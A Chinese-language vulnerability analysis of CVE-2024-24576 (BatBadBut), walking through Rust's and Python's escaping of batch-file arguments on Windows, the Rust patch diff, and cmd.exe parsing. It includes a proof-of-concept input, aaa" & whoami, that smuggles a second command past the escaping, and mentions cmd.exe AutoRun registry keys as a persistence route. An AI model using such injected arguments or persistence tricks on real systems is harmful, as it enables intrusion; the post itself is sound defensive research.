原文始发于Ke Liu:CVE-2024-24576 Windows 下多语言命令注入漏洞分析
近期来自 Flatt Security Inc. 的 RyotaK 披露了 Windows 下多个编程语言的命令注入漏洞(漏洞被命名为 BatBadBut),其中 Rust 语言对应的漏洞编号为 CVE-2024-24576,因为 Rust 语言自带流量属性,国内安全/科技自媒体可能会使用一些怪异的标题来进行宣传。实际上,这个漏洞跟内存安全没有关系,是 Windows 下 cmd.exe
对命令行参数的特殊解析逻辑所导致的逻辑漏洞;此外,这个漏洞也不仅仅影响 Rust,像 PHP、Python 等语言均受影响。
0x01. 漏洞介绍
1.1 CVE-2024-24576
受影响的 Rust 版本:Rust for Windows < 1.77.2
The Rust Security Response WG was notified that the Rust standard library did not properly escape arguments when invoking batch files (with the
bat
andcmd
extensions) on Windows using theCommand
API. An attacker able to control the arguments passed to the spawned process could execute arbitrary shell commands by bypassing the escaping.
CWE 分类信息:
CWE-ID | CWE Name | Source |
---|---|---|
CWE-78 | Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) | GitHub, Inc. |
CWE-88 | Improper Neutralization of Argument Delimiters in a Command (‘Argument Injection’) | GitHub, Inc. |
1.2 漏洞影响面
这个漏洞只存在于 Windows 系统,但不仅仅影响 Rust 语言,像 PHP、Python、Node.js 等均受影响,具体可以参考如下页面:
- CERT/CC: Multiple programming languages fail to escape arguments properly in Microsoft Windows
- Flatt Security Inc./RyotaK: BatBadBut: You can’t securely execute commands on Windows
0x02. PoC 测试
2.1 Rust 环境搭建
从官网下载并运行 rustup-init.exe
,默认安装最新版本的 Rust 即 1.77.2,可以通过如下命令安装和切换 Rust 版本:
rustup install 1.77.1 rustup default 1.77.1 |
2.2 漏洞 PoC
这个漏洞必须在执行 .bat
或者 .cmd
文件的时候才能触发,所以先准备一个 test.bat
批处理文件,内容如下(作用是打印接收的命令行参数):
@echo off echo Argument received: %1 |
测试用的 Rust 文件 test.rs
的代码如下(作用是通过 Command
创建子进程来运行 test.bat
,但是子进程的命令行参数是攻击者可以控制的):
use std::io::{self, Write}; use std::process::Command; fn main() { println!("enter payload here"); let mut input = String::new(); io::stdout().flush().expect("Failed to flush stdout"); io::stdin().read_line(&mut input).expect("Failed to read from stdin"); let output = Command::new("./test.bat") .arg(input.trim()) .output() .expect("Failed to execute command"); println!("Output:\n{}", String::from_utf8_lossy(&output.stdout)); } |
PoC 测试(编译 test.rs
并运行):
D:\>rustc test.rs D:\>test.exe enter payload here aaa Output: Argument received: aaa D:\>test.exe enter payload here aaa & whoami Output: Argument received: "aaa & whoami" D:\>test.exe enter payload here aaa" & whoami Output: Argument received: "aaa\" desktop-618ia48\ddw |
可以看到,最后一次测试时成功执行了攻击者注入的命令 whoami
。
0x03. 漏洞分析
根据 Rust 1.77.2 & 1.77.1 Commit Diff 可知,补丁位于文件 library/std/src/sys/pal/windows/args.rs,主要是修复了 make_bat_command_line
函数中的处理逻辑,这里基于 Rust 1.77.1 的代码开展分析。
3.1 spawn
首先找到函数 make_bat_command_line
的 caller,为 library/std/src/sys/pal/windows/process.rs#L262 处的 spawn
函数,其核心代码如下:
pub fn spawn( &mut self, default: Stdio, needs_stdin: bool, ) -> io::Result<(Process, StdioPipes)> { // ------------ cut ------------ let program = resolve_exe(&self.program, || env::var_os("PATH"), child_paths)?; // Case insensitive "ends_with" of UTF-16 encoded ".bat" or ".cmd" let is_batch_file = matches!( program.len().checked_sub(5).and_then(|i| program.get(i..)), Some([46, 98 | 66, 97 | 65, 116 | 84, 0] | [46, 99 | 67, 109 | 77, 100 | 68, 0]) ); let (program, mut cmd_str) = if is_batch_file { ( command_prompt()?, args::make_bat_command_line(&program, &self.args, self.force_quotes_enabled)?, ) } else { let cmd_str = make_command_line(&self.program, &self.args, self.force_quotes_enabled)?; (program, cmd_str) }; cmd_str.push(0); // add null terminator // ------------ cut ------------ unsafe { cvt(c::CreateProcessW( program.as_ptr(), cmd_str.as_mut_ptr(), ptr::null_mut(), ptr::null_mut(), c::TRUE, flags, envp, dirp, si_ptr, &mut pi, )) }?; // ------------ cut ------------ } |
可以看到,如果要执行的文件的扩展名(不区分大小写)是 .bat
或者 .cmd
,那么 CreateProcessW
的前 2
个参数走的是另一套逻辑:
program
来自command_prompt()
,实际上是cmd.exe
的绝对路径,这里略过细节make_bat_command_line
负责拼接命令行参数,是需要重点分析的函数(实际上也是应用补丁的函数)
如果是普通的程序,则 program
不做特殊处理,而命令行参数由 make_command_line
负责拼接。
3.2 make_command_line
先看看正常的文件是怎么构建命令行参数的,函数 make_command_line
的代码如下(library/std/src/sys/pal/windows/process.rs#L814):
// Produces a wide string *without terminating null*; returns an error if // `prog` or any of the `args` contain a nul. fn make_command_line(argv0: &OsStr, args: &[Arg], force_quotes: bool) -> io::Result<Vec<u16>> { // Encode the command and arguments in a command line string such // that the spawned process may recover them using CommandLineToArgvW. let mut cmd: Vec<u16> = Vec::new(); // Always quote the program name so CreateProcess to avoid ambiguity when // the child process parses its arguments. // Note that quotes aren't escaped here because they can't be used in arg0. // But that's ok because file paths can't contain quotes. cmd.push(b'"' as u16); cmd.extend(argv0.encode_wide()); cmd.push(b'"' as u16); for arg in args { cmd.push(' ' as u16); args::append_arg(&mut cmd, arg, force_quotes)?; } Ok(cmd) } |
这里对程序路径本身直接使用双引号 "
包围起来,随后通过 args::append_arg
附加参数。
3.3 append_arg
函数 append_arg
位于 library/std/src/sys/pal/windows/args.rs#L219(和 make_bat_command_line
位于同一个文件,同时也会被 make_bat_command_line
调用),代码如下:
pub(crate) fn append_arg(cmd: &mut Vec<u16>, arg: &Arg, force_quotes: bool) -> io::Result<()> { let (arg, quote) = match arg { Arg::Regular(arg) => (arg, if force_quotes { Quote::Always } else { Quote::Auto }), Arg::Raw(arg) => (arg, Quote::Never), }; // If an argument has 0 characters then we need to quote it to ensure // that it actually gets passed through on the command line or otherwise // it will be dropped entirely when parsed on the other end. ensure_no_nuls(arg)?; let arg_bytes = arg.as_encoded_bytes(); let (quote, escape) = match quote { Quote::Always => (true, true), Quote::Auto => { (arg_bytes.iter().any(|c| *c == b' ' || *c == b'\t') || arg_bytes.is_empty(), true) } Quote::Never => (false, false), }; if quote { cmd.push('"' as u16); } let mut backslashes: usize = 0; for x in arg.encode_wide() { if escape { if x == '\\' as u16 { backslashes += 1; } else { if x == '"' as u16 { // Add n+1 backslashes to total 2n+1 before internal '"'. cmd.extend((0..=backslashes).map(|_| '\\' as u16)); } backslashes = 0; } } cmd.push(x); } if quote { // Add n backslashes to total 2n before ending '"'. cmd.extend((0..backslashes).map(|_| '\\' as u16)); cmd.push('"' as u16); } Ok(()) } |
这里对参数的处理有几种模式:
- 普通参数,即
Command::arg
或者Command::args
,Quote
有Always
和Auto
两种模式 - 原始参数,即
CommandExt::raw_arg
,Quote
是Never
对 Rust 而言,如果使用普通参数,那么 Rust 会帮助对参数字符进行转义处理;而如果使用原始参数,则参数字符的转义由开发者自己负责。对 CVE-2024-24576 这个漏洞而言,是指使用普通参数的情况下,Rust 没有处理好参数的转义,导致引发了注入漏洞。所以这里只看普通参数的场景,quote
和 escape
的可能取值如下:
Quote::Always
模式quote = true
escape = true
Quote::Auto
模式- 如果参数含有空格符
或者制表符
\t
或者参数为空,则quote = true
escape = true
- 如果参数含有空格符
参数处理逻辑:
quote
比较好理解,就是前后增加双引号escape
主要处理两种场景- 没有前导
\
的双引号"
,转换为\"
- 有前导
\
的双引号"
,即\"
,转换为\\\"
- 没有前导
对前面的 PoC 而言,给定的参数是 aaa" & whoami
,所以这里 quote = true
,参数会被转换为 "aaa\" & whoami"
,也就是使用双引号包围起来,并完成内部双引号的转义操作。
3.4 make_bat_command_line
函数 make_bat_command_line
的代码位于 library/std/src/sys/pal/windows/args.rs#L265,如下所示:
pub(crate) fn make_bat_command_line( script: &[u16], args: &[Arg], force_quotes: bool, ) -> io::Result<Vec<u16>> { // Set the start of the command line to `cmd.exe /c "` // It is necessary to surround the command in an extra pair of quotes, // hence the trailing quote here. It will be closed after all arguments // have been added. let mut cmd: Vec<u16> = "cmd.exe /d /c \"".encode_utf16().collect(); // Push the script name surrounded by its quote pair. cmd.push(b'"' as u16); // Windows file names cannot contain a `"` character or end with `\\`. // If the script name does then return an error. if script.contains(&(b'"' as u16)) || script.last() == Some(&(b'\\' as u16)) { return Err(io::const_io_error!( io::ErrorKind::InvalidInput, "Windows file names may not contain `\"` or end with `\\`" )); } cmd.extend_from_slice(script.strip_suffix(&[0]).unwrap_or(script)); cmd.push(b'"' as u16); // Append the arguments. // FIXME: This needs tests to ensure that the arguments are properly // reconstructed by the batch script by default. for arg in args { cmd.push(' ' as u16); // Make sure to always quote special command prompt characters, including: // * Characters `cmd /?` says require quotes. // * `%` for environment variables, as in `%TMP%`. // * `|<>` pipe/redirect characters. const SPECIAL: &[u8] = b"\t &()[]{}^=;!'+,`~%|<>"; let force_quotes = match arg { Arg::Regular(arg) if !force_quotes => { arg.as_encoded_bytes().iter().any(|c| SPECIAL.contains(c)) } _ => force_quotes, }; append_arg(&mut cmd, arg, force_quotes)?; } // Close the quote we left opened earlier. cmd.push(b'"' as u16); Ok(cmd) } |
核心逻辑如下:
- 首先,把
.bat
或者.cmd
文件路径转换成如下形式cmd.exe /d /c ""path" arg1 arg2"
- 其次,参数处理逻辑如下
- 如果
force_quotes=false
,且参数arg
中含有\t &()[]{}^=;!'+,`~%|<>
中的任意特殊字符,则将force_quotes
置为true
- 否则保持
force_quotes
不变
- 如果
在 PoC 场景下(参数为 aaa" & whoami
),这里传递给 append_arg
的参数会是 force_quotes=true
。实际上,不管 force_quotes
是什么值,对 PoC 而言,在函数 append_arg
中,一定有:
quote=true
,因为参数中含有空格符escape = true
,因为是普通参数(即Command::arg
或者Command::args
)
所以,最终的命令行参数为 cmd.exe /d /c ""D:\test.bat" "aaa\" & whoami""
,这个对 cmd.exe
而言,会直接导致执行注入的命令 whoami
。
0x04. 补丁分析
在 Rust 1.77.2 中(参考 Rust 1.77.2 & 1.77.1 Commit DIFF),对于 make_bat_command_line
函数,在使用普通参数的情况下(即 Command::arg
或者 Command::args
),不再使用 append_arg
而是使用 append_bat_arg
来处理参数的引用,处理逻辑有所变化:
append_arg
处理逻辑:"
转为\"
append_bat_arg
处理逻辑:"
转为""
比如对于 PoC 代码,会转换成 cmd.exe /e:ON /v:OFF /d /c ""D:\test.bat" "aaa"" & whoami""
,即 aaa" & whoami
转换成了 "aaa"" & whoami"
,这对 cmd.exe
而言,不会产生注入问题,参数会被当成一个整体。
补丁代码如下:
diff --git a/library/std/src/sys/pal/windows/args.rs b/library/std/src/sys/pal/windows/args.rs index fbbdbc21265..48bcb89e669 100644 --- a/library/std/src/sys/pal/windows/args.rs +++ b/library/std/src/sys/pal/windows/args.rs mod tests; use super::os::current_exe; -use crate::ffi::OsString; +use crate::ffi::{OsStr, OsString}; use crate::fmt; use crate::io; use crate::num::NonZeroU16; use crate::sys::process::ensure_no_nuls; use crate::sys::{c, to_u16s}; use crate::sys_common::wstr::WStrUnits; +use crate::sys_common::AsInner; use crate::vec; use crate::iter; @@ -262,16 +263,92 @@ pub(crate) fn append_arg(cmd: &mut Vec<u16>, arg: &Arg, force_quotes: bool) -> i Ok(()) } +fn append_bat_arg(cmd: &mut Vec<u16>, arg: &OsStr, mut quote: bool) -> io::Result<()> { + ensure_no_nuls(arg)?; + // If an argument has 0 characters then we need to quote it to ensure + // that it actually gets passed through on the command line or otherwise + // it will be dropped entirely when parsed on the other end. + // + // We also need to quote the argument if it ends with `\` to guard against + // bat usage such as `"%~2"` (i.e. force quote arguments) otherwise a + // trailing slash will escape the closing quote. + if arg.is_empty() || arg.as_encoded_bytes().last() == Some(&b'\\') { + quote = true; + } + for cp in arg.as_inner().inner.code_points() { + if let Some(cp) = cp.to_char() { + // Rather than trying to find every ascii symbol that must be quoted, + // we assume that all ascii symbols must be quoted unless they're known to be good. + // We also quote Unicode control blocks for good measure. + // Note an unquoted `\` is fine so long as the argument isn't otherwise quoted. + static UNQUOTED: &str = r"#$*+-./:?@\_"; + let ascii_needs_quotes = + cp.is_ascii() && !(cp.is_ascii_alphanumeric() || UNQUOTED.contains(cp)); + if ascii_needs_quotes || cp.is_control() { + quote = true; + } + } + } + + if quote { + cmd.push('"' as u16); + } + // Loop through the string, escaping `\` only if followed by `"`. + // And escaping `"` by doubling them. + let mut backslashes: usize = 0; + for x in arg.encode_wide() { + if x == '\\' as u16 { + backslashes += 1; + } else { + if x == '"' as u16 { + // Add n backslashes to total 2n before internal `"`. + cmd.extend((0..backslashes).map(|_| '\\' as u16)); + // Appending an additional double-quote acts as an escape. + cmd.push(b'"' as u16) + } else if x == '%' as u16 || x == '\r' as u16 { + // yt-dlp hack: replaces `%` with `%%cd:~,%` to stop %VAR% being expanded as an environment variable. + // + // # Explanation + // + // cmd supports extracting a substring from a variable using the following syntax: + // %variable:~start_index,end_index% + // + // In the above command `cd` is used as the variable and the start_index and end_index are left blank. + // `cd` is a built-in variable that dynamically expands to the current directory so it's always available. + // Explicitly omitting both the start and end index creates a zero-length substring. + // + // Therefore it all resolves to nothing. However, by doing this no-op we distract cmd.exe + // from potentially expanding %variables% in the argument. + cmd.extend_from_slice(&[ + '%' as u16, '%' as u16, 'c' as u16, 'd' as u16, ':' as u16, '~' as u16, + ',' as u16, + ]); + } + backslashes = 0; + } + cmd.push(x); + } + if quote { + // Add n backslashes to total 2n before ending `"`. + cmd.extend((0..backslashes).map(|_| '\\' as u16)); + cmd.push('"' as u16); + } + Ok(()) +} + pub(crate) fn make_bat_command_line( script: &[u16], args: &[Arg], force_quotes: bool, ) -> io::Result<Vec<u16>> { + const INVALID_ARGUMENT_ERROR: io::Error = + io::const_io_error!(io::ErrorKind::InvalidInput, r#"batch file arguments are invalid"#); // Set the start of the command line to `cmd.exe /c "` // It is necessary to surround the command in an extra pair of quotes, // hence the trailing quote here. It will be closed after all arguments // have been added. - let mut cmd: Vec<u16> = "cmd.exe /d /c \"".encode_utf16().collect(); + // Using /e:ON enables "command extensions" which is essential for the `%` hack to work. + let mut cmd: Vec<u16> = "cmd.exe /e:ON /v:OFF /d /c \"".encode_utf16().collect(); // Push the script name surrounded by its quote pair. cmd.push(b'"' as u16); @@ -291,18 +368,22 @@ pub(crate) fn make_bat_command_line( // reconstructed by the batch script by default. for arg in args { cmd.push(' ' as u16); - // Make sure to always quote special command prompt characters, including: - // * Characters `cmd /?` says require quotes. - // * `%` for environment variables, as in `%TMP%`. - // * `|<>` pipe/redirect characters. - const SPECIAL: &[u8] = b"\t &()[]{}^=;!'+,`~%|<>"; - let force_quotes = match arg { - Arg::Regular(arg) if !force_quotes => { - arg.as_encoded_bytes().iter().any(|c| SPECIAL.contains(c)) + match arg { + Arg::Regular(arg_os) => { + let arg_bytes = arg_os.as_encoded_bytes(); + // Disallow \r and \n as they may truncate the arguments. + const DISALLOWED: &[u8] = b"\r\n"; + if arg_bytes.iter().any(|c| DISALLOWED.contains(c)) { + return Err(INVALID_ARGUMENT_ERROR); + } + append_bat_arg(&mut cmd, arg_os, force_quotes)?; + } + _ => { + // Raw arguments are passed on as-is. + // It's the user's responsibility to properly handle arguments in this case. + append_arg(&mut cmd, arg, force_quotes)?; } - _ => force_quotes, }; - append_arg(&mut cmd, arg, force_quotes)?; } // Close the quote we left opened earlier. |
0x05. Python 版本漏洞分析
5.1 漏洞分析
Python 同样存在上述问题,测试代码如下:
D:\>python3 Python 3.11.6 (tags/v3.11.6:8b6ee5b, Oct 2 2023, 14:57:12) [MSC v.1935 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import subprocess >>> subprocess.Popen(['test.bat', 'aaa" & whoami']) <Popen: returncode: None args: ['test.bat', 'aaa" & whoami']> >>> Argument received: "aaa\" desktop-618ia48\ddw |
子进程的命令行参数为:C:\WINDOWS\system32\cmd.exe /c test.bat "aaa\" & whoami"
。
Python 的代码可以参考 Lib/subprocess.py#L580,不像 Rust 一样,这里没有专门处理 .bat
或 .cmd
(CreateProcess
本身含有特殊的处理逻辑),但转义的逻辑是一致的,所以不影响漏洞触发。
def list2cmdline(seq): """ Translate a sequence of arguments into a command line string, using the same rules as the MS C runtime: 1) Arguments are delimited by white space, which is either a space or a tab. 2) A string surrounded by double quotation marks is interpreted as a single argument, regardless of white space contained within. A quoted string can be embedded in an argument. 3) A double quotation mark preceded by a backslash is interpreted as a literal double quotation mark. 4) Backslashes are interpreted literally, unless they immediately precede a double quotation mark. 5) If backslashes immediately precede a double quotation mark, every pair of backslashes is interpreted as a literal backslash. If the number of backslashes is odd, the last backslash escapes the next double quotation mark as described in rule 3. """ # See # http://msdn.microsoft.com/en-us/library/17w5ykft.aspx # or search http://msdn.microsoft.com for # "Parsing C++ Command-Line Arguments" result = [] needquote = False for arg in map(os.fsdecode, seq): bs_buf = [] # Add a space to separate this argument from the others if result: result.append(' ') needquote = (" " in arg) or ("\t" in arg) or not arg if needquote: result.append('"') for c in arg: if c == '\\': # Don't know if we need to double yet. bs_buf.append(c) elif c == '"': # Double backslashes. result.append('\\' * len(bs_buf)*2) bs_buf = [] result.append('\\"') else: # Normal char if bs_buf: result.extend(bs_buf) bs_buf = [] result.append(c) # Add remaining backslashes, if any. if bs_buf: result.extend(bs_buf) if needquote: result.extend(bs_buf) result.append('"') return ''.join(result) |
5.2 CreateProcess
MSDN 对 CreateProcessW
的说明文档有如下的解释:
[in, optional] lpApplicationName
To run a batch file, you must start the command interpreter; set
lpApplicationName
to cmd.exe and setlpCommandLine
to the following arguments: /c plus the name of the batch file.
实际上,lpApplicationName
可以是 .bat
文件的路径,CreateProcessW
会自动进行相应的转换操作,测试代码如下:
int main(int argc, char **argv) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // Start the child process. if (!CreateProcess(L"D:\\test.bat", // Application name NULL, // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE 0, // No creation flags NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi) // Pointer to PROCESS_INFORMATION structure ) { printf("CreateProcess failed (%d).\n", GetLastError()); return 1; } // Wait until child process exits. WaitForSingleObject(pi.hProcess, INFINITE); // Close process and thread handles. CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; } |
运行后启动的子进程的命令行参数为:C:\WINDOWS\system32\cmd.exe /c "D:\test.bat"
。
这也是为什么在 Python 中通过 subprocess
运行 .bat
脚本时会自动运行 cmd.exe
的原因,而 Rust 可能也是出于安全上的考虑,主动屏蔽了 CreateProcess
的这一 Undocumented 特性。事实上,Rust 的补丁代码额外引入了一些 cmd.exe
的开关,可控性会更好。
0x06. CMD.exe 命令行参数
在 Unix 系统中,启动子进程时可以通过数组的方式指定 argv
和 envp
(比如调用 execve
)。但是在 Windows 下,CreateProcess
只能通过单一字符串的形式来接收命令行参数,这就给命令行参数的解析带来了挑战。好在 Windows 还提供了 CommandLineToArgv
这个 API 来实现命令行参数的解析,这可以保持一定的标准性,但是像 cmd.exe
这样的程序会有自己的命令行参数解析逻辑,这也是前面出现注入漏洞的原因。
文章 Everyone quotes command line arguments the wrong way 提到:
All of cmd’s transformations are triggered by the presence of one of the metacharacters
(, ), %, !, ^, ", <, >, &,
and|
."
is particularly interesting: when cmd is transforming a command line and sees a"
, it copies a"
to the new command line, then begins copying characters from the old command line to the new one without seeing whether any of these characters is a metacharacter. This copying continues until cmd either reaches the end of the command line, runs into a variable substitution, or sees another"
. In the last case, cmd copies a"
to the new command line and resumes normal processing. This behavior is almost, but not quite like what CommandLineFromArgvW does with the same character; the difference is that cmd does not know about the\"
sequence and begins interpreting metacharacters earlier than we would expect.
这段话看起来很好理解,但是并不能解释下面的现象(child
执行后打印自身的命令行参数):
C:\> child "hello world" >\\.\nul C:\> child "hello"world" >\\.\nul 0: [child] 1: [helloworld >\\.\nul] C:\> child "hello\"world" >\\.\nul 0: [child] 1: [hello"world] 2: [>\\.\nul] |
也不能解释出现命令注入漏洞问题的本质:
C:\> child "malicious argument\" &whoami" 0: [child] 1: [malicious-argument"] ntdev\dancol |
不知道是作者自己也没有弄清楚,还是故意留了一手 😀 至于真实的解析逻辑,得看 cmd.exe
的源码才知道了。
0x07. CMD.exe AutoRun
前面分析 Rust 的 make_bat_command_line
函数,发现运行 .bat
或者 .cmd
文件是通过 cmd.exe /d /c filepah
的形式来执行的。
D:\>cmd /? 启动 Windows 命令解释器的一个新实例 CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF] [[/S] [/C | /K] string] /C 执行字符串指定的命令然后终止 /D 禁止从注册表执行 AutoRun 命令(见下) 如果 /D 未在命令行上被指定,当 CMD.EXE 开始时,它会寻找 以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或 两个都存在,这两个变量会先被执行。 HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun 和/或 HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun |
看上去也可以是一个恶意软件实现持久化驻留的方式,因为启动 cmd.exe
的时候一般不会有人刻意指定 /d
参数。Google 搜索了一下,在 persistence-info.github.io 上有提及(这是一个专门收集 Windows 上持久化驻留方式的网站,类似 Living Off the Land Techniques 收集网站)。
0x08. 分析小结
在 Windows 下,Rust 在执行 .bat
或者 .cmd
文件时,底层会调用 CreateProcess
创建 cmd.exe
子进程,Rust 在拼接子进程的命令行参数时会根据需要对参数进行转义处理;但是 cmd.exe
有自己的命令行参数处理逻辑,而 Rust 对命令行参数进行转义的逻辑和 cmd.exe
不一致,导致可以通过 cmd.exe
执行注入的命令。
这个漏洞很难说是编程语言自身的问题,但是在编程语言侧可以增加对应的漏洞缓解措施,所以也不是所有语言都会把这个当成漏洞来快速修复处理。
0x09. 参考文档
- https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/
- https://blog.rust-lang.org/2024/04/09/cve-2024-24576.html
- https://www.kb.cert.org/vuls/id/123335
- https://github.com/frostb1ten/CVE-2024-24576-PoC/tree/main
- https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
- https://learn.microsoft.com/en-us/archive/blogs/twistylittlepassagesallalike/everyone-quotes-command-line-arguments-the-wrong-way
- https://persistence-info.github.io/Data/cmdautorun.html